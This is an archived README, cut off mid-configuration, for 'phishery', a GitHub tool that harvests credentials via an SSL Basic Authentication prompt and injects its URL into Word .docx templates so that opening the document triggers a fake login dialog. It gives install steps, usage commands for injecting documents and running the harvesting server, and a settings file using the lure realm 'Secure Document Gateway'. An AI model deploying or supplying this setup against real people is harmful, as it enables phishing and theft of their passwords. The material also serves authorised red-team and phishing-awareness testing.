GitHub - ryhanson/phishery: An SSL Enabled Basic Auth Credential Harvester with a Word Document Template URL Injector By ryhanson Archived: 2026-04-05 13:45:05 UTC Phishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication. Phishery also provides the ability easily to inject the URL into a .docx Word document. The power of phishery is best demonstrated by setting a Word document's template to a phishery URL. This causes Microsoft Word to make a request to the URL, resulting in an Authentication Dialog being shown to the end-user. The ability to inject any .docx file with a URL is possible using phishery's -i [in docx] , -o [out docx] , and -u [url] options. Download Operating system specific packages can be downloaded from here. Install Extract the archive, and optionally, install binary to $PATH https://github.com/ryhanson/phishery Page 1 of 4 $ tar -xzvf phishery*.tar.gz $ cd phishery* $ cp phishery /usr/local/bin Usage $ phishery --help |\ \\\\__ O __ _ __ | \_/ o \ o ____ / /_ (_)____/ /_ ___ _______ __ > _ (( <_ oO / __ \/ __ \/ / ___/ __ \/ _ \/ ___/ / / / | / \__+___/ / /_/ / / / / (__ ) / / / __/ / / /_/ / |/ |/ / .___/_/ /_/_/____/_/ /_/\___/_/ \__, / /_/ Basic Auth Credential Harvester (____/ with Word Doc Template Injector Start the server : phishery -s settings.json -c credentials.json Inject a template : phishery -u https://secure.site.local/docs -i good.docx -o bad.docx Options: -h, --help Show usage and exit. -v Show version and exit. -s The JSON settings file used to setup the server. [default: "settings.json"] -c The JSON file to store harvested credentials. [default: "credentials.json"] -u The phishery URL to use as the Word document template. -i The Word .docx file to inject with a template URL. -o The new Word .docx file with the injected template URL. Running the server Modify the provided settings.json file as needed, by default it should look like this: { "ip": "0.0.0.0", "port": "443", "sslCert": "server.crt", "sslKey": "server.key", "basicRealm": "Secure Document Gateway", "responseStatus": 200, "responseFile": "template.dotx", "responseHeaders": [ ["Content-Type", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"] ] } https://github.com/ryhanson/phishery Page 2 of 4 This setup will start the HTTP server on Port 443 with SSL configured to use server.crt and server.key. The basic authentication realm is set to Secure Document Gateway. When any credentials are provided, a 200 response status is sent along with the contents of the included template.dotx and the content type header: Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.template. The settings file may also be configured to output a simple body, by using responseBody, like this: { "ip": "0.0.0.0", "port": "443", "sslCert": "server.crt", "sslKey": "server.key", "basicRealm": "Secure Document Gateway", "responseStatus": 404, "responseBody": "